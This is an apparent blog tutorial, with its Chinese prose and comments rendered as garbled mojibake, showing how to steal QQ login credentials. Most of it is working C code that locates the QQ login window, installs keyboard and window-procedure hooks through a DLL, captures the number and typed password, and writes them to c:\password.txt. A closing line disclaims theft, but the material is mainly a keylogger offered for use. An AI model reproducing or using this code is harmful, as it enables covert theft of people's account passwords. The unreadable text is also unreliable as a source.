¡¡¡¡£¨1£©Ñ°ÕÒQQµÇ½½çÃæ¡£
¡¡¡¡£¨2£©°²×°¹³×Ó
¡¡¡¡£¨3£©¹³×Óº¯ÊýµÄ½âÊÍ.
¡¡¡¡£¨4£©´¦ÀíÃÜÂë¡£
¡¡¡¡ÒÔϲ¿·ÖÈ«ÊÇʹÓÃCÓïÑÔ£¬ÎÄÕÂÖÐÎÒ¼ÙÉè¶ÁÕßÄúÊÇ»áC/SDK±à³ÌµÄ¡£Èç¹ûÓöµ½Ïà¹ØµÄ¸ÅÄîÐÔÎÊÌ⣬Äú¿ÉÒԲ鿴MSDN»òÊÇÉÏBBS ѯÎÊ£¡
¡¡¡¡Ñ°ÕÒQQµÇ½½çÃæ
¡¡¡¡Èí¼þÔËÐкó£¬ÀûÓð²×°¶¨Ê±Æ÷£¬Ã¿ÃëÔÚϵͳÕÒQQµÇ½½çÃ棬ÕâÑù»ù±¾ÉÏÖ»ÒªÓû§´ò¿ªÁËQQµÇ½½çÃæ¾Í»á±»×¥×¡Æä¾ä±ú£¬¿´ÏÂÃæ´úÂ룺
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
¡¡¡¡°²×°ºÃTIMERºó£¬ÏÂÃæÊÇ´¦ÀíÖ÷³ÌÐòµÄWM_TIMERÏûÏ¢£¬·²ÊdzöÏÖûÓж¨ÒåµÄ±äÁ¿£¬Äú¿ÉÒÔÀí½âΪÊÇÈ«¾Ö±äÁ¿.
//´¦ÀíWM_TIMER´úÂë
if (!IsWindow(g_hQQLogin)) //ÅжÏg_hQQLoginÊÇ·ñÊÇÓÐЧµÄ´°¿Ú¾ä±ú
{
¡¡HWND hLogin=NULL;
¡¡g_hQQLogin = NULL;
¡¡SetQQHook(NULL); //²ÎÊýΪNULLÊÇжÔØHOOK£¬²ÎÊýΪ¾ä±úÊÇ°²×°¾ä±ú
¡¡do
¡¡{
¡¡¡¡//ÀûÓÃFindWindowEx²éÕÒQQµÇ½´°¿Ú£¬¾ßÌå²ÎÊýÒâ˼Çë²éMSDN
¡¡¡¡g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //¶Ô»°¿òµÄÀ඼ÊÇ#32770
¡¡¡¡//ÕÒµ½ÀàÃûÊÇ#32770ºó£¬ÔÙÔÚÆä´°ÌåÄÚÕÒÒ»¸ö¾ßÓС° µÇ¼QQ¡±µÄBUTTON°´Å¦
¡¡¡¡hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " µÇ¼QQ"); //ÕâÒ»¾äºÜ¹Ø¼ü£¬Èç¹ûÄãµÄQQµÇ½´°¿ÚÉÏûÓÐ" µÇ¼QQ"×ÖÑù£¬ÄÇô»ñÈ¡ÃÜÂ뽫ʧ°Ü£¡
¡¡}
¡¡while(g_hQQLogin != NULL && hLogin == NULL); //Ö±µ½ÕÒµ½Ö¸¶¨µÄ´°¿Ú£¬¼´£ºQQµÇ½´°¿Ú
¡¡¡¡if (g_hQQLogin != NULL)
¡¡¡¡{
¡¡¡¡¡¡SetQQHook(g_hQQLogin);//°²×°HOOK£¬´Ëº¯ÊýÔÚDLLÎļþÖÐ µÚ¶þ²¿·ÖÖнéÉÜ
¡¡¡¡}
¡¡}
¡¡¡¡ÉÏÃæ¾ÍÊDzéÕÒQQµÇ½´°¿Ú¾ä±úµÄ¹ý³Ì£¬´Ó´úÂë¿ÉÒÔ¿´³öÎÒÓõķ½·¨£ºÕÒÒ»¸öÆä×Ó´°ÌåÖÐÓÐÒ»¸ö±êÌâΪ¡° µÇ¼QQ¡±µÄBUTTONµÄ¶Ô»°¿ò£¨Õâ¾ä»°ËµµÃÓеãÈÄ¿Ú£¬Õâ¾ä»°Èç¹ûÒ²¿´²»¶®£¬ÏÂÃæÄú²»Óÿ´ÁË£º£¨£© ÎÒ×ʼÊÇÏëÀûÓà FindWindow(NULL,"QQÓû§µÇ½´°¿Ú")À´²éÕÒ£¬µ«ÊÇÎÒÓÃSpy++¿´ÁËQQµÇ½´°¿ÚµÄ±êÌâ²¢²»ÊÇ¡°QQÓû§µÇ½´°¿Ú¡±£¬¶øÊÇ¡°ÂÒÂ롱£¬ÆäÖаüº¬Á˻سµ¼üµÈÌØÊâ×Ö·û£¬ÓÚÊÇÎÒÓÃÁËFindWindowEx().
¡¡¡¡°²×°¹³×Ó
¡¡¡¡ÕÒµ½ÁËQQµÇ½´°¿Úºó£¬¾Í³É¹¦ÁËÒ»°ë¡£
¡¡¡¡ÏÂÃæÊÇDLLÎļþÖеݲװHOOKµÄº¯ÊýSetQQHook(), ΪʲôҪÓÃDLL£¨¶¯Ì¬Á¬½Ó¿â£©£¿ÒªÈ¥¡°¹³¡±ÆäËû½ø³ÌµÄÏûÏ¢£¬µÃÈÃHOOKº¯ÊýÔÚDLLÖУ¬ÕâÑùºÃÓ³Éäµ½ÆäµØÖ·¿Õ¼äÖУ¡
BOOL WINAPI SetQQHook(HWND hQQLogin)
{
¡¡//»ñµÃµÇ½¿òµÄ¾ä±ú
¡¡BOOL bRet = FALSE;
¡¡if (hQQLogin != NULL)
¡¡{
¡¡¡¡DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //ÕâÊÇʲôÒâ˼£¿¿´MSDN
¡¡¡¡g_hNum = GetDlgItem(hQQLogin, 138);//²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡ µÃµ½QQºÅµÄ×Ó´°¿Ú¾ä±ú
¡¡¡¡g_hPsw = GetDlgItem(hQQLogin, 180); //²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡µÃµ½QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú
¡¡¡¡if (g_hNum == NULL)
¡¡¡¡{
¡¡¡¡¡¡MessageBox(NULL,"¿ÞÁË£¬ºÅÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
¡¡¡¡¡¡return FALSE;
¡¡¡¡}
¡¡¡¡if(g_hPsw==NULL)
¡¡¡¡{
¡¡¡¡¡¡MessageBox(NULL,"¿ÞÁË£¬ÃÜÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
¡¡¡¡¡¡return FALSE;
¡¡¡¡}
¡¡¡¡·Ö±ð¼üÅÌHOOK£¬ºÍ½çÃ沿·ÖÏûÏ¢´¦ÀíµÄHOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
¡¡// жÔع³×Ó
¡¡bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
¡¡g_hProc = NULL;
¡¡g_hKey = NULL;
¡¡g_hNum = NULL;
}
return bRet;
}
¡¡¡¡ÉÏÃæÊÇ°²×°HOOK²¿·ÖµÄ´úÂ룬¾ÍÕâô¼òµ¥£¬ÉÏÃæÌáµ½ÁËCallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯Êý£¬ÊÇÎÒµÚÈý²¿·ÖÒª½âÊ͵Ĺ³×Óº¯Êý
¹³×Óº¯ÊýµÄ½âÊÍ
¡¡¡¡CallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯ÊýµÄÔÐͺ;ßÌå´úÂëÈçÏ£º
// ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÃüÁîÏûÏ¢
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
¡¡CWPSTRUCT *p = (CWPSTRUCT *)lParam;
¡¡// ²¶»ñ¡°µÇ½¡±°´Å¥
¡¡if (p->message == WM_COMMAND && p->wParam ==16032)
¡¡¡¡//ÏÂÃæ¸öº¯ÊýÊÇÎÒÔÚµÚËIJ¿·Ö½éÉÜ-¡°´¦ÀíÃÜÂ롱²¿·Ö»á×Ðϸ˵Ã÷
¡¡¡¡//µ±Óû§µãÁ˵ǽ°´Å¥£¬ËµÃ÷QQºÅÂëºÍQQÃÜÂëÒѾÌîдÍê±Ï£¬µ±È»¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
¡¡¡¡GetPasswrod();
¡¡¡¡return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÈȼüÏûÏ¢
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
¡¡// ²¶»ñÈȼüÏûÏ¢£¬¼Ç¼¼üÅ̵İ´¼üÅ̹ý³Ì,pmsgÊÇPMSGÀàÐ͵ģ¬iÊÇÈ«¾ÖStaticÀàÐ͵Ä
¡¡pmsg[i].wParam =wParam;
¡¡i++;
¡¡if (wParam == VK_RETURN) //Óû§Ê¹ÓüüÅÌ¡°»Ø³µ¡±À´µÇ½£¬Óû§ÓÃÁ˻سµºó£¬¾Í¿ÉÒÔ¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
¡¡¡¡GetPasswrod();
¡¡¡¡return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
¡¡¡¡ÔÚÃ÷°×ÁËÕâÁ½¸ö¹³×Óº¯Êýºó¾Í¿ÉÒÔ¿´ºóÆÚÊÇÈçºÎ¾ßÌå´¦ÀíÃÜÂëµÄÁË£¬Õâ¾ÍÊÇÏÂÃæµÄµÚËIJ¿·ÖÄÚÈÝ
¡¡¡¡´¦ÀíÃÜÂë
¡¡¡¡Èç¹ûÄú¶Áµ½ÁË´Ë´¦£¬ÎÒÏëµÃÔÝÍ£Ò»»á£¬ÏÈÈÃÎÒÀ´°ïÄã»ØÒäÒ»ÏÂÇ°ÃæÌáµ½µÄ¼¸¸ö¹Ø¼üµÄ±äÁ¿
¡¡¡¡µÚÒ»¸ö£ºQQºÅµÄ×Ó´°¿Ú¾ä±ú g_hNum
¡¡¡¡µÚ¶þ¸ö£ºQQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw //´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬ÏÂÃæ
¡¡¡¡µÚÈý¸ö£º´æ¼üÅÌ°´¼üµÄ pmsg
¡¡¡¡ÉÏÃæÈý±äÁ¿·Ö±ð³öÏÖÔÚµÚ¶þ²¿·ÖºÍµÚÈý²¿·Ö£¬¶¼ÊÇÈ«¾Ö¹²Ïí£¨shared£©±äÁ¿
¡¡¡¡QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw ´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬Äã¿ÉÒÔ¿´µ½ÏÂÃæ´úÂëÖÐÓоäÓõ½g_hPswµÄÓï¾äÊÇÎÒ×¢Ê͵ôÁ˵ģ¬ÔÒòÊÇÎÞ·¨Í¨¹ýÄÇÑùÈ¥µÃµ½QQÃÜÂ룬µÃ´¦Àí°´¼üÏûÏ¢
void GetPasswrod()
{
¡¡//ÉùÃ÷±äÁ¿ºÍ³õʼ»¯
¡¡HANDLE f;
¡¡TCHAR num[13];
¡¡TCHAR psw[21];
¡¡TCHAR total[50];
¡¡int j;
¡¡memset(num,0,sizeof(num));
¡¡memset(total,0,sizeof(total));
¡¡memset(psw,0,sizeof(psw));
¡¡DWORD dw;
¡¡//µÃµ½QQºÅµÄÄÚÈÝ£¬ÒÔΪÓеÄÈ˵ÄQQºÅÊÇÔڵǽ¿òÓмǼ£¬ÆäQQºÅ²¢ÊÇÓüüÅÌÊäÈëµÄ
¡¡GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
¡¡//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //´Ë¾ä²»Ê¹Óã¬ÎÞ·¨ÕâÑù»ñµÃÃÜÂë
¡¡//ÌáÈ¡³ö¼üÅ̼Ǽ,´ËÄÚÈÝÒ²ÐíÈ«ÊÇÃÜÂ룬ҲÐíÊÇQQºÅ+QQÃÜÂë
¡¡for(j=0;j<20;j++)
¡¡{
¡¡¡¡psw[j]=(TCHAR)pmsg[j*2].wParam ;
¡¡}
¡¡psw[j+1]=¡¯\0¡¯;
¡¡//°ÑQQºÅÂëºÍQQÃÜÂëдÈëCÅÌpassword.txtÖÐ
f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
¡¡strcat(total,"ºÅÂë");
¡¡strcat(total,num);
¡¡strcat(total,"ÃÜÂë:");
¡¡strcat(total,psw);
¡¡WriteFile(f,&total,sizeof(total),&dw,NULL);
¡¡CloseHandle(f);
}
¡¡¡¡×îºóÔÚCÅÌpassword.txtÒ²Ðí»á³öÏÖÕâÑùÁ½ÖÖÇé¿ö£º
¡¡¡¡1£©µ±QQºÅÊÇûÓÐÓÃÊäÈ룬¶øÒÑÓõÄÕ³Ìù»òÕßÊǵçÄÔÒÔÇ°ÓмǼÔòÊÇ£ººÅÂ룺21728812ÃÜÂ룺TEST
¡¡¡¡2) µ±QQºÅÊÇÓõļüÅÌÊäÈ룬µçÄÔûÓÐQQºÅ¼Ç¼ʱÔòÊÇ£º ºÅÂ룺21728812ÃÜÂ룺21728812TEST
¡¡¡¡¿ÉÒÔ¿´³ö£¬µÚ2ÖÖÇé¿ö°ÑQQµ±³ÉÁËÃÜÂëÁË£¬ËùÒÔÃÜÂ뻹µÃ¼õÈ¥QQºÅ£¬
¡¡¡¡Ìرð˵Ã÷£ºÎÒÕâÑùÖ±½Ó´¦ÀíwParam²ÎÊý£¬µÃµ½µÄ×Ö·ûÃÜÂëÈ«ÊÇ´óдµÄ£¬¾ßÌå´óСдÎÊÌâÎÒûÓоÍûÓÐ×Ðϸȥ´¦ÀíµÄ£¬¹¦ÄÜʵÏÖ¾ÍÐÐÁË£¬±Ï¾¹ÎÒʹÓÃËû²»ÓÃÀ´µÁÃÜÂëµÄ£¡
¡¡¡¡ÉÏÃæËIJ¿·Ö»ù±¾ÉÏ»ñµÃÃÜÂëµÄ¹¦ÄܽéÉÜÍê±Ï¡£·²ÊÇûÓнéÉܵıäÁ¿½ÔÊÇÈ«¾Ö±äÁ¿£¬Ã»ÓÐÌáµ½µÄº¯ÊýÈ磺GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()µÈ½ÔÊÇWindows API£¬ÏêϸʹÓÃ˵Ã÷Çë²éMSDN£¨http://www.msdn.com),ÎÒÌáµ½µÄ¡°HOOK¡±£¬¡°¹³×Ó¡±ÊÇͬһ¸öÒâ˼£¬Ò²ÐíÓеĵط½ÎÒ˵µÄ¹³×Óº¯Êý£¬¶øÁíÍâÒ»¸öµØ·½ËµµÄÊÇHOOKº¯Êý
¡¡¡¡Ìرð˵Ã÷£ºÉÏÃæÓоßÌåµÄÔËÐÐÎļþ£¬ÓÉÓÚСµÜ²¢Ã»Óп¼Âǵ½¸ü¶àϸ½Ú£¬ÎÒÖ»ÊÇÓÃÁË¡°ÀíÏ롱״¿öÏÂÈ¥»ñµÃÃÜÂ룬²¢ÇÒ»òµÄÃÜÂëºó²¢Ã»ÓÐ×¢ÖغóÆÚÃÜÂë´¦Àí£¬Ò²Ðí³öÏÖÃÜÂë´óСд²»·ûºÏ»òÊÇÎÞ·¨µÃµ½ÃÜÂ룬Çë´ó¼ÒǧÍò±ðЦ»°£¬ÎÒдÕâƪ²ËÄñ¼¶±ðµÄBlogµÄÔÒòÒâÔÚ¸æËßһЩ¶ÔÕâ·½Ãæ¸Ðµ½ÒÉ»óµÄÅóÓÑ»ù±¾µÄÔÀí£¬ºÍÏ£ÍûºÍ´óÏÀÃǽ»Á÷ £¡
¹ØÓÚÌÚÅ£ | ÁªÏµ·½Ê½ | ·¢Õ¹Àú³Ì | °æȨÉùÃ÷ | ÏÂÔØ°ïÖú(£¿) | ¹ã¸æÁªÏµ | ÍøÕ¾µØͼ | ÓÑÇéÁ´½Ó
Copyright 2005-2018 QQTN.com ¡¾ÌÚÅ£Íø¡¿ °æȨËùÓÐ ¶õICP±¸17010784ºÅ-1 | ¶õ¹«Íø°²±¸ 42011102000245ºÅ
ÉùÃ÷£º ±¾Õ¾·ÇÌÚѶQQ¹Ù·½ÍøÕ¾ ËùÓÐÈí¼þºÍÎÄÕÂÀ´×Ô»¥ÁªÍø ÈçÓÐÒìÒé ÇëÓë±¾Õ¾ÁªÏµ ±¾Õ¾Îª·ÇÓ®ÀûÐÔÍøÕ¾ ²»½ÓÊÜÈκÎÔÞÖúºÍ¹ã¸æ